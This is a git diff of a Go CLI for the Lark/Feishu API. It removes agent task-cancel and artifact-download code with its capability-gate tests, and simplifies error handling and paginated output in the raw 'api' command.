-	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	if spec.CancelTask == nil {
-		return capabilityError(opts.Ref, "task cancel", iagent.CapTaskCancel)
-	}
-	rt, err := runtimeFor(f, id, agentID)
-	if err != nil {
-		return err
-	}
-	// Local scope preflight: after runtimeFor, before the API call. A
-	// task_cancel=false agent never reaches here (gated above); it is wired so a
-	// provider that supports cancel is not silently exempt from the all-or-nothing
-	// scope check.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-	if err := spec.CancelTask(opts.Cmd.Context(), rt, opts.TaskID); err != nil {
-		return err
-	}
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		fmt.Fprintf(f.IOStreams.Out, "task_id: %s\ncanceled: true\n", kvValue(opts.TaskID))
-		return nil
-	}
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(id),
-		Data:     map[string]interface{}{"task_id": opts.TaskID, "canceled": true},
-		Notice:   output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// downloadArtifact resolves the artifact descriptor and writes it to opts.Output
-// under vfs. A URL-type artifact is SSRF-validated and fetched over a
-// download-hardened client; an inline-bytes artifact is written directly. The
-// output path is validated with SafeOutputPath (relative, within the CWD)
-// before any write.
-func downloadArtifact(opts *taskOptions) error {
-	safePath, err := validate.SafeOutputPath(opts.Output)
-	if err != nil {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的 -o 路径: %v", err).
-			WithParam("--output").WithCause(err)
-	}
-
-	// Overwriting a local file destroys its content irreversibly — a high-risk
-	// write. It goes through the same confirmation contract as other --force
-	// gates (config bind): without --force, a would-be overwrite returns
-	// confirmation_required (exit 10) before any download. Lstat (not Stat) so a
-	// symlink at the path counts as existing rather than being followed.
-	if !opts.Force {
-		if _, statErr := vfs.Lstat(safePath); statErr == nil {
-			return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agent task get --artifact -o",
-				"目标文件已存在，覆盖会不可逆地毁掉本地内容: %s", safePath).
-				WithHint("确认要覆盖后加 --force 重跑，或换一个 -o 路径")
-		}
-	}
-
-	ctx := opts.Cmd.Context()
-	art, err := resolveDownload(opts)
-	if err != nil {
-		return err
-	}
-	// A provider decoding an empty "data" via Call[*ArtifactData] can return
-	// (nil, nil); and a non-nil descriptor with neither inline bytes nor a URL
-	// carries no downloadable content. Both are provider-response defects — fail
-	// with a typed error instead of dereferencing nil or writing a 0-byte file
-	// (which under --force would clobber an existing local file with emptiness).
-	if art == nil {
-		return errs.NewInternalError(errs.SubtypeInvalidResponse,
-			"provider 未返回产物数据（响应无 data）")
-	}
-	if len(art.Bytes) == 0 && art.URL == "" {
-		return errs.NewInternalError(errs.SubtypeInvalidResponse,
-			"产物 '%s' 无可下载内容（provider 既未提供内联字节也未提供下载 URL）", opts.ArtifactID)
-	}
-
-	data := art.Bytes
-	if art.URL != "" {
-		data, err = artifactFetch(ctx, opts.Factory, art.URL)
-		if err != nil {
-			return err
-		}
-	}
-
-	if err := vfs.WriteFile(safePath, data, 0o600); err != nil {
-		return errs.NewInternalError(errs.SubtypeFileIO, "写产物到 %s 失败: %v", safePath, err).WithCause(err)
-	}
-
-	f := opts.Factory
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		out := f.IOStreams.Out
-		fmt.Fprintf(out, "artifact_id: %s\n", kvValue(opts.ArtifactID))
-		fmt.Fprintf(out, "path: %s\n", safePath)
-		fmt.Fprintf(out, "bytes: %d\n", len(data))
-		if art.Mime != "" {
-			fmt.Fprintf(out, "mime: %s\n", kvValue(art.Mime))
-		}
-		// suggested_name is the server-suggested name, for reference only; the
-		// actual on-disk path is already the safePath (-o) above.
-		if art.Name != "" {
-			fmt.Fprintf(out, "suggested_name: %s\n", kvValue(art.Name))
-		}
-		return nil
-	}
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(f.ResolvedIdentity),
-		Data: map[string]interface{}{
-			"artifact_id":    opts.ArtifactID,
-			"path":           safePath,
-			"bytes":          len(data),
-			"mime":           art.Mime,
-			"suggested_name": art.Name,
-		},
-		Notice: output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// fetchArtifactURL is the production URL fetch: it SSRF-validates rawURL, builds
-// a download-hardened HTTP client from the Factory and reads the body up to
-// maxArtifactBytes, refusing anything larger. The artifact host is untrusted
-// external content, so both the URL and the redirect chain are guarded.
-func fetchArtifactURL(ctx context.Context, f *cmdutil.Factory, rawURL string) ([]byte, error) {
-	if err := validate.ValidateDownloadSourceURL(ctx, rawURL); err != nil {
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "被拦截的产物 URL: %v", err).
-			WithCause(err)
-	}
-	// Artifact bytes come from an untrusted host over the network; require https
-	// so the payload cannot be read or tampered with in transit. The SSRF check
-	// above already rejects private/loopback hosts and non-http(s) schemes, so a
-	// surviving non-https URL is plain-text http.
-	if !strings.HasPrefix(strings.ToLower(rawURL), "https://") {
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "产物 URL 必须为 https（拒绝明文下载）")
-	}
-	base, err := f.HttpClient()
-	if err != nil {
-		return nil, errs.NewInternalError(errs.SubtypeSDKError, "构造 http client 失败: %v", err).WithCause(err)
-	}
-	client := hardenDownloadClient(base)
-
-	req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
-	if err != nil {
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的产物 URL: %v", err).WithCause(err)
-	}
-	resp, err := client.Do(req)
-	if err != nil {
-		return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "下载产物失败: %v", err).WithCause(err)
-	}
-	defer resp.Body.Close()
-	if resp.StatusCode != http.StatusOK {
-		return nil, errs.NewNetworkError(errs.SubtypeNetworkServer, "下载产物失败: HTTP %d", resp.StatusCode)
-	}
-	// Read ONE byte past the cap so an oversized body is detected rather than
-	// silently truncated: io.LimitReader returns EOF (not an error) at the cap, so
-	// reading exactly maxArtifactBytes cannot distinguish "fits" from "overflowed".
-	// A body over the cap is refused with a typed error instead of writing a
-	// corrupt, partial file that would otherwise report success.
-	data, err := io.ReadAll(io.LimitReader(resp.Body, maxArtifactBytes+1))
-	if err != nil {
-		return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "读取产物响应失败: %v", err).WithCause(err)
-	}
-	if int64(len(data)) > maxArtifactBytes {
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"产物超过大小上限 %d 字节，拒绝下载（避免写入被截断的残缺文件）", int64(maxArtifactBytes))
-	}
-	return data, nil
-}
--- a/cmd/agent/task_test.go
+++ b/cmd/agent/task_test.go
--- a/cmd/agent/unsupported_test.go
+++ b/cmd/agent/unsupported_test.go
@@ -1,202 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"encoding/json"
-	"strings"
-	"sync"
-	"testing"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// fakeUnsupSpec is a stub instance spec driving the command-layer
-// capability-gate wirings without any HTTP: ListContexts / DeleteContext are
-// left UNWIRED (nil), so the command layer's nil-gate must return the typed
-// unsupported_capability before any network access. GetTask is wired to return a
-// task whose IsTerminal deliberately mismatches its State (normalizeTask must
-// re-derive it). Send is wired (core, required by Register) but never called
-// here. There is no capability-refusal code in the spec — "unsupported" is
-// expressed purely by the absent hooks.
-func fakeUnsupSpec() *iagent.AgentSpec {
-	return &iagent.AgentSpec{
-		Send: func(context.Context, iagent.Runtime, iagent.SendInput) (*iagent.AgentTask, error) {
-			panic("unsup provider: Send should not be called")
-		},
-		GetTask: func(_ context.Context, _ iagent.Runtime, taskID string) (*iagent.AgentTask, error) {
-			// Deliberate mismatch: State is terminal but IsTerminal=false.
-			return &iagent.AgentTask{TaskID: taskID, State: iagent.StateCompleted, IsTerminal: false}, nil
-		},
-		// ListContexts / DeleteContext intentionally unwired ⇒ unsupported.
-	}
-}
-
-// registerFakeUnsup registers the fakeunsup scheme exactly once (Register
-// panics on duplicates). Like the other fakes it leaks into the package-level
-// registry for the remaining tests of this package run.
-var registerFakeUnsupOnce sync.Once
-
-func registerFakeUnsup() {
-	registerFakeUnsupOnce.Do(func() {
-		iagent.Register(iagent.Provider{
-			Scheme:        "fakeunsup",
-			Label:         "test fake (unwired optional capabilities)",
-			AgentIDSource: "test only",
-			Identities:    []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
-			Instance:      fakeUnsupSpec(),
-		})
-	})
-}
-
-// assertUnsupportedCapability pins the full capability-gate contract on err:
-// validation typed, subtype unsupported_capability, exit 2, hint pointing at
-// `agent card <ref>`, and — because the Factory's httpmock registry has zero
-// stubs — no HTTP was issued (any network attempt would have surfaced as an
-// "httpmock: no stub" error instead of the typed one).
-func assertUnsupportedCapability(t *testing.T, err error, ref string) {
-	t.Helper()
-	if err == nil {
-		t.Fatal("an unsupported capability should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T (%v)", err, err)
-	}
-	if code := output.ExitCodeOf(err); code != output.ExitValidation {
-		t.Fatalf("exit code should be %d, got %d", output.ExitValidation, code)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeUnsupportedCapability {
-		t.Fatalf("subtype should be unsupported_capability, got %+v", p)
-	}
-	if !strings.Contains(p.Hint, "agent card "+ref) {
-		t.Errorf("hint should point to agent card %s, got %q", ref, p.Hint)
-	}
-	if strings.Contains(err.Error(), "httpmock") {
-		t.Errorf("should not issue any HTTP request, but the error contains httpmock traces: %v", err)
-	}
-}
-
-// TestContextListUnsupportedGated pins the capability gate on `context list`: a
-// provider that does not wire ListContexts returns typed unsupported_capability
-// (exit 2) with the agent-card hint, without any HTTP.
-func TestContextListUnsupportedGated(t *testing.T) {
-	registerFakeUnsup()
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	opts := &contextOptions{
-		Factory: f, Cmd: contextCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json",
-	}
-	assertUnsupportedCapability(t, agentContextListRun(opts), "fakeunsup:a1")
-}
-
-// TestContextDeleteUnsupportedGated pins the same gate on the confirmed
-// `context delete` path (--yes passes, provider does not wire DeleteContext).
-func TestContextDeleteUnsupportedGated(t *testing.T) {
-	registerFakeUnsup()
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	opts := &contextOptions{
-		Factory: f, Cmd: contextCmdCtx(t, "delete"), Ref: "fakeunsup:a1", CtxID: "c1", Yes: true, As: "bot", Format: "json",
-	}
-	assertUnsupportedCapability(t, agentContextDeleteRun(opts), "fakeunsup:a1")
-}
-
-// unsupFactory is a small helper for the capability-gate tests.
-func unsupFactory(t *testing.T) *cmdutil.Factory {
-	t.Helper()
-	registerFakeUnsup()
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	return f
-}
-
-// TestTaskListUnsupportedGated pins the task_list gate: fakeunsup does not wire
-// ListTasks, so `task list` returns unsupported_capability (exit 2) with no HTTP.
-func TestTaskListUnsupportedGated(t *testing.T) {
-	f := unsupFactory(t)
-	opts := &taskOptions{Factory: f, Cmd: taskCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json"}
-	assertUnsupportedCapability(t, agentTaskListRun(opts), "fakeunsup:a1")
-}
-
-// TestContextGetUnsupportedGated pins the context_get gate (GetContext unwired).
-func TestContextGetUnsupportedGated(t *testing.T) {
-	f := unsupFactory(t)
-	opts := &contextOptions{Factory: f, Cmd: contextCmdCtx(t, "get"), Ref: "fakeunsup:a1", CtxID: "c1", As: "bot", Format: "json"}
-	assertUnsupportedCapability(t, agentContextGetRun(opts), "fakeunsup:a1")
-}
-
-// TestArtifactDownloadUnsupportedGated pins the artifact_download gate: fakeunsup
-// does not wire DownloadArtifact, so `task get --artifact` returns
-// unsupported_capability (exit 2) before any download.
-func TestArtifactDownloadUnsupportedGated(t *testing.T) {
-	f := unsupFactory(t)
-	opts := &taskOptions{
-		Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1",
-		ArtifactID: "art_1", Output: "out_unsup.bin", As: "bot", Format: "json",
-	}
-	assertUnsupportedCapability(t, agentTaskGetRun(opts), "fakeunsup:a1")
-}
-
-// TestSendFileUnsupportedGated pins the --file capability gate: example:echo
-// declares file_input=false, so `send --file` returns unsupported_capability
-// (exit 2) — this gate answers BEFORE the --yes confirmation and before any
-// network, so no file is opened and no request is issued.
-func TestSendFileUnsupportedGated(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	err := agentSendRun(&sendOptions{
-		Factory: f, Cmd: sendCmdCtx(t), Ref: "example:echo", Text: "hi",
-		Files: []string{"whatever.txt"}, As: "bot", Format: "json",
-	})
-	assertUnsupportedCapability(t, err, "example:echo")
-}
-
-// TestTaskGetDerivesIsTerminalFromState pins the normalizeTask wiring: a
-// provider returning a State/IsTerminal-mismatched task (completed +
-// is_terminal=false) must emit is_terminal=true — the command layer derives
-// the flag from State, the single source of truth.
-func TestTaskGetDerivesIsTerminalFromState(t *testing.T) {
-	registerFakeUnsup()
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	opts := &taskOptions{
-		Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1", As: "bot", Format: "json",
-	}
-	out := f.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentTaskGetRun(opts); err != nil {
-		t.Fatalf("task get should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	if data["state"] != "completed" {
-		t.Fatalf("data.state should be completed, got %v", data["state"])
-	}
-	if data["is_terminal"] != true {
-		t.Errorf("is_terminal should be derived from State as true (correcting a provider that set false), got %v", data["is_terminal"])
-	}
-}
-
-// TestNormalizeTaskSummaries_DerivesFromState pins the summary-side derivation
-// (task list runs its summaries through this helper; context get derives the
-// single active_task's flag inline the same way).
-func TestNormalizeTaskSummaries_DerivesFromState(t *testing.T) {
-	ts := normalizeTaskSummaries([]iagent.TaskSummary{
-		{TaskID: "t1", State: iagent.StateCompleted, IsTerminal: false}, // missing
-		{TaskID: "t2", State: iagent.StateWorking, IsTerminal: true},    // wrong
-	})
-	if !ts[0].IsTerminal {
-		t.Error("completed summary should derive is_terminal=true")
-	}
-	if ts[1].IsTerminal {
-		t.Error("working summary should derive is_terminal=false")
-	}
-	if normalizeTask(nil) != nil {
-		t.Error("normalizeTask(nil) should be nil-safe")
-	}
-}
--- a/cmd/api/api.go
+++ b/cmd/api/api.go
@@ -10,7 +10,6 @@ import (
 	"regexp"
 	"strings"

-	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/client"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
@@ -67,21 +66,8 @@ func NewCmdApiWithContext(ctx context.Context, f *cmdutil.Factory, runF func(*AP

 	cmd := &cobra.Command{
 		Use:   "api <method> <path>",
-		Short: "Raw HTTP escape hatch — call any endpoint by path (fallback when no typed command exists)",
-		Long: `Raw HTTP escape hatch: send any Lark API request by HTTP method + path.
-
-Prefer the typed domain command when one exists — it validates parameters,
-shows the Risk level, gates destructive calls behind --yes, and carries usage
-guidance that this raw command does not. If a domain command covers your task
-(browse with ` + "`lark-cli <domain> --help`" + `), use it instead of this.
-
-Reach for ` + "`api`" + ` only for endpoints that have no typed command yet (e.g.
-newer/preview APIs), where you already have the HTTP path from the Lark docs.
-
-Examples:
-  lark-cli api GET /open-apis/calendar/v4/calendars
-  lark-cli api POST /open-apis/im/v1/messages --params '{"receive_id_type":"open_id"}' --data @body.json`,
-		Args: cobra.ExactArgs(2),
+		Short: "Generic Lark API requests",
+		Args:  cobra.ExactArgs(2),
 		RunE: func(cmd *cobra.Command, args []string) error {
 			opts.Method = strings.ToUpper(args[0])
 			opts.Path = args[1]
@@ -104,7 +90,6 @@ Examples:
 	cmd.Flags().IntVar(&opts.PageLimit, "page-limit", 10, "max pages to fetch with --page-all (0 = unlimited)")
 	cmd.Flags().IntVar(&opts.PageDelay, "page-delay", 200, "delay in ms between pages")
 	cmd.Flags().StringVar(&opts.Format, "format", "json", "output format: json|ndjson|table|csv")
-	cmd.Flags().Bool("json", false, "shorthand for --format json")
 	cmd.Flags().StringVarP(&opts.JqExpr, "jq", "q", "", "jq expression to filter JSON output")
 	cmd.Flags().BoolVar(&opts.DryRun, "dry-run", false, "print request without executing")
 	cmd.Flags().StringVar(&opts.File, "file", "", "file to upload as multipart/form-data ([field=]path, supports - for stdin)")
@@ -137,13 +122,7 @@ func buildAPIRequest(opts *APIOptions) (client.RawApiRequest, *cmdutil.FileUploa

 	// stdin conflict: --params and --data cannot both read from stdin, regardless of --file.
 	if opts.Params == "-" && opts.Data == "-" {
-		return client.RawApiRequest{}, nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"--params and --data cannot both read from stdin (-)").
-			WithHint("pass at most one flag as '-'; give the other inline JSON or @file").
-			WithParams(
-				errs.InvalidParam{Name: "--params", Reason: "reads from stdin (-)"},
-				errs.InvalidParam{Name: "--data", Reason: "reads from stdin (-)"},
-			)
+		return client.RawApiRequest{}, nil, output.ErrValidation("--params and --data cannot both read from stdin (-)")
 	}

 	params, err := cmdutil.ParseJSONMap(opts.Params, "--params", stdin, fileIO)
@@ -173,10 +152,7 @@ func buildAPIRequest(opts *APIOptions) (client.RawApiRequest, *cmdutil.FileUploa
 				return client.RawApiRequest{}, nil, err
 			}
 			if _, ok := dataFields.(map[string]any); !ok {
-				return client.RawApiRequest{}, nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-					"--data must be a JSON object when used with --file").
-					WithHint(`with --file, --data carries multipart form fields, e.g. --data '{"image_type":"message"}'`).
-					WithParam("--data")
+				return client.RawApiRequest{}, nil, output.ErrValidation("--data must be a JSON object when used with --file")
 			}
 		}

@@ -219,13 +195,7 @@ func apiRun(opts *APIOptions) error {
 	}

 	if opts.PageAll && opts.Output != "" {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"--output and --page-all are mutually exclusive").
-			WithHint("drop --page-all to save a binary response, or drop --output to paginate JSON").
-			WithParams(
-				errs.InvalidParam{Name: "--output", Reason: "conflicts with --page-all"},
-				errs.InvalidParam{Name: "--page-all", Reason: "conflicts with --output"},
-			)
+		return output.ErrValidation("--output and --page-all are mutually exclusive")
 	}
 	if err := output.ValidateJqFlags(opts.JqExpr, opts.Output, opts.Format); err != nil {
 		return err
@@ -262,17 +232,13 @@ func apiRun(opts *APIOptions) error {
 	}

 	if opts.PageAll {
-		return apiPaginate(opts.Ctx, ac, request, format, opts.JqExpr, out, f.IOStreams.ErrOut, opts.Cmd.CommandPath(),
+		return apiPaginate(opts.Ctx, ac, request, format, opts.JqExpr, out, f.IOStreams.ErrOut,
 			client.PaginationOptions{PageLimit: opts.PageLimit, PageDelay: opts.PageDelay})
 	}

 	resp, err := ac.DoAPI(opts.Ctx, request)
 	if err != nil {
-		// MarkRaw tells the dispatcher to skip the legacy enrichPermissionError
-		// pass on *output.ExitError values. Typed *errs.* errors that flow
-		// through here keep their canonical message / hint from BuildAPIError;
-		// MarkRaw is a no-op on those (it only flips a flag on *ExitError).
-		return errs.MarkRaw(err)
+		return output.MarkRaw(client.WrapDoAPIError(err))
 	}
 	err = client.HandleResponse(resp, client.ResponseOptions{
 		OutputPath:  opts.Output,
@@ -282,17 +248,11 @@ func apiRun(opts *APIOptions) error {
 		ErrOut:      f.IOStreams.ErrOut,
 		FileIO:      f.ResolveFileIO(opts.Ctx),
 		CommandPath: opts.Cmd.CommandPath(),
-		Identity:    opts.As,
-		// CheckResponse routes through errclass.BuildAPIError for known Lark
-		// codes (typed PermissionError / AuthenticationError / ...). For
-		// unknown codes it falls back to *errs.APIError. The Brand+AppID on
-		// the client populate identity-aware fields (ConsoleURL etc.).
-		CheckError: ac.CheckResponse,
 	})
-	// MarkRaw: see comment above on the DoAPI path. Skips legacy
-	// *ExitError enrichment; typed errors flow through unchanged.
+	// MarkRaw tells root error handler to skip enrichPermissionError,
+	// preserving the original API error detail (log_id, troubleshooter, etc.).
 	if err != nil {
-		return errs.MarkRaw(err)
+		return output.MarkRaw(err)
 	}
 	return nil
 }
@@ -301,76 +261,43 @@ func apiDryRun(f *cmdutil.Factory, request client.RawApiRequest, config *core.Cl
 	return cmdutil.PrintDryRun(f.IOStreams.Out, request, config, format)
 }

-func apiPaginate(ctx context.Context, ac *client.APIClient, request client.RawApiRequest, format output.Format, jqExpr string, out, errOut io.Writer, commandPath string, pagOpts client.PaginationOptions) error {
-	if pagOpts.Identity == "" {
-		pagOpts.Identity = request.As
-	}
+func apiPaginate(ctx context.Context, ac *client.APIClient, request client.RawApiRequest, format output.Format, jqExpr string, out, errOut io.Writer, pagOpts client.PaginationOptions) error {
 	// When jq is set, always aggregate all pages then filter.
 	if jqExpr != "" {
-		result, err := ac.PaginateAll(ctx, request, pagOpts)
-		if err != nil {
-			return errs.MarkRaw(err)
+		if err := client.PaginateWithJq(ctx, ac, request, jqExpr, out, pagOpts, client.CheckLarkResponse); err != nil {
+			return output.MarkRaw(err)
 		}
-		if apiErr := ac.CheckResponse(result, pagOpts.Identity); apiErr != nil {
-			output.FormatValue(out, result, output.FormatJSON)
-			return errs.MarkRaw(apiErr)
-		}
-		return output.WriteSuccessEnvelope(output.SuccessEnvelopeData(result), output.SuccessEnvelopeOptions{
-			CommandPath: commandPath,
-			Identity:    string(pagOpts.Identity),
-			JqExpr:      jqExpr,
-			Out:         out,
-			ErrOut:      errOut,
-		})
+		return nil
 	}

 	switch format {
 	case output.FormatNDJSON, output.FormatTable, output.FormatCSV:
 		pf := output.NewPaginatedFormatter(out, format)
-		result, hasItems, err := ac.StreamPages(ctx, request, func(items []interface{}) error {
-			// Streaming formats intentionally emit each page after that page has
-			// passed safety scanning. A later page may still fail, so callers
-			// must use the exit code to distinguish complete vs partial output.
-			scanResult := output.ScanForSafety(commandPath, items, errOut)
-			if scanResult.Blocked {
-				return scanResult.BlockErr
-			}
-			if scanResult.Alert != nil {
-				output.WriteAlertWarning(errOut, scanResult.Alert)
-			}
+		result, hasItems, err := ac.StreamPages(ctx, request, func(items []interface{}) {
 			pf.FormatPage(items)
-			return nil
 		}, pagOpts)
 		if err != nil {
-			return errs.MarkRaw(err)
+			return output.MarkRaw(output.ErrNetwork("API call failed: %v", err))
 		}
-		if apiErr := ac.CheckResponse(result, pagOpts.Identity); apiErr != nil {
-			return errs.MarkRaw(apiErr)
+		if apiErr := client.CheckLarkResponse(result); apiErr != nil {
+			output.FormatValue(out, result, output.FormatJSON)
+			return output.MarkRaw(apiErr)
 		}
 		if !hasItems {
 			fmt.Fprintf(errOut, "warning: this API does not return a list, format %q is not supported, falling back to json\n", format)
-			return output.WriteSuccessEnvelope(output.SuccessEnvelopeData(result), output.SuccessEnvelopeOptions{
-				CommandPath: commandPath,
-				Identity:    string(pagOpts.Identity),
-				Out:         out,
-				ErrOut:      errOut,
-			})
+			output.FormatValue(out, result, output.FormatJSON)
 		}
 		return nil
 	default:
 		result, err := ac.PaginateAll(ctx, request, pagOpts)
 		if err != nil {
-			return errs.MarkRaw(err)
+			return output.MarkRaw(output.ErrNetwork("API call failed: %v", err))
 		}
-		if apiErr := ac.CheckResponse(result, pagOpts.Identity); apiErr != nil {
+		if apiErr := client.CheckLarkResponse(result); apiErr != nil {
 			output.FormatValue(out, result, output.FormatJSON)
-			return errs.MarkRaw(apiErr)
+			return output.MarkRaw(apiErr)
 		}
-		return output.WriteSuccessEnvelope(output.SuccessEnvelopeData(result), output.SuccessEnvelopeOptions{
-			CommandPath: commandPath,
-			Identity:    string(pagOpts.Identity),
-			Out:         out,
-			ErrOut:      errOut,
-		})
+		output.FormatValue(out, result, format)
+		return nil
 	}
 }
--- a/cmd/api/api_test.go
+++ b/cmd/api/api_test.go
@@ -4,19 +4,16 @@
 package api

 import (
-	"context"
-	"encoding/json"
 	"errors"
 	"os"
 	"sort"
 	"strings"
 	"testing"

-	"github.com/larksuite/cli/errs"
-	extcs "github.com/larksuite/cli/extension/contentsafety"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
 	"github.com/larksuite/cli/internal/httpmock"
+	"github.com/larksuite/cli/internal/output"
 	"github.com/spf13/cobra"
 )

@@ -69,24 +66,6 @@ func TestApiCmd_DryRun(t *testing.T) {
 	}
 }

-// Regression: --params null parses to a nil map; writing page_size onto it must
-// not panic. Symmetric to the typed-flag overlay path in cmd/service — both
-// write into the map ParseJSONMap returns.
-func TestApiCmd_NullParamsWithPageSize(t *testing.T) {
-	f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
-	})
-
-	cmd := NewCmdApi(f, nil)
-	cmd.SetArgs([]string{"GET", "/open-apis/test", "--params", "null", "--page-size", "50", "--as", "bot", "--dry-run"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("--params null with --page-size should not error, got: %v", err)
-	}
-	if out := stdout.String(); !strings.Contains(out, "page_size") {
-		t.Errorf("expected page_size applied over null --params, got:\n%s", out)
-	}
-}
-
 func TestApiCmd_BotMode(t *testing.T) {
 	f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
@@ -104,19 +83,8 @@ func TestApiCmd_BotMode(t *testing.T) {
 	if err != nil {
 		t.Fatalf("unexpected error: %v", err)
 	}
-	var got map[string]interface{}
-	if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
-		t.Fatalf("invalid JSON output: %v\n%s", err, stdout.String())
-	}
-	if got["ok"] != true || got["identity"] != "bot" {
-		t.Fatalf("unexpected envelope: %#v", got)
-	}
-	if _, hasCode := got["code"]; hasCode {
-		t.Fatalf("success envelope leaked outer code: %s", stdout.String())
-	}
-	data, ok := got["data"].(map[string]interface{})
-	if !ok || data["result"] != "success" {
-		t.Fatalf("data = %#v, want result=success", got["data"])
+	if !strings.Contains(stdout.String(), "success") {
+		t.Error("expected 'success' in output")
 	}
 }

@@ -342,16 +310,8 @@ func TestApiCmd_PageAll_NonBatchAPI_FallbackToJSON(t *testing.T) {
 		t.Error("expected 'falling back to json' in stderr")
 	}
 	// Should output JSON result to stdout
-	var got map[string]interface{}
-	if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
-		t.Fatalf("invalid JSON output: %v\n%s", err, stdout.String())
-	}
-	data, ok := got["data"].(map[string]interface{})
-	if got["ok"] != true || got["identity"] != "bot" || !ok || data["user_id"] != "u123" {
-		t.Fatalf("unexpected fallback envelope: %#v", got)
-	}
-	if _, hasCode := got["code"]; hasCode {
-		t.Fatalf("fallback success envelope leaked outer code: %s", stdout.String())
+	if !strings.Contains(stdout.String(), "u123") {
+		t.Error("expected user_id in JSON output")
 	}
 }

@@ -364,7 +324,7 @@ func TestApiCmd_PageAll_NonBatchAPI_ErrorStillOutputsJSON(t *testing.T) {
 	reg.Register(&httpmock.Stub{
 		URL: "/open-apis/im/v1/chats/oc_xxx/announcement",
 		Body: map[string]interface{}{
-			"code": 230027, "msg": "user not authorized",
+			"code": 230001, "msg": "no permission",
 		},
 	})

@@ -376,20 +336,12 @@ func TestApiCmd_PageAll_NonBatchAPI_ErrorStillOutputsJSON(t *testing.T) {
 		t.Fatal("expected an error for non-zero code")
 	}
 	// Should still output the response body so user can see the error details
-	if !strings.Contains(stdout.String(), "230027") {
+	if !strings.Contains(stdout.String(), "230001") {
 		t.Errorf("expected error response in stdout, got: %s", stdout.String())
 	}
-	if !strings.Contains(stdout.String(), "user not authorized") {
+	if !strings.Contains(stdout.String(), "no permission") {
 		t.Errorf("expected error message in stdout, got: %s", stdout.String())
 	}
-	if strings.Contains(stdout.String(), `"ok": true`) || strings.Contains(stdout.String(), `"ok":true`) {
-		t.Fatalf("unexpected success envelope on error path: %s", stdout.String())
-	}
-	requireProblem(t, err, errs.CategoryAuthorization, errs.SubtypeUserUnauthorized, 230027)
-	var permErr *errs.PermissionError
-	if !errors.As(err, &permErr) {
-		t.Fatalf("expected PermissionError, got %T: %v", err, err)
-	}
 }

 func TestApiCmd_PageAll_BatchAPI_StreamsItems(t *testing.T) {
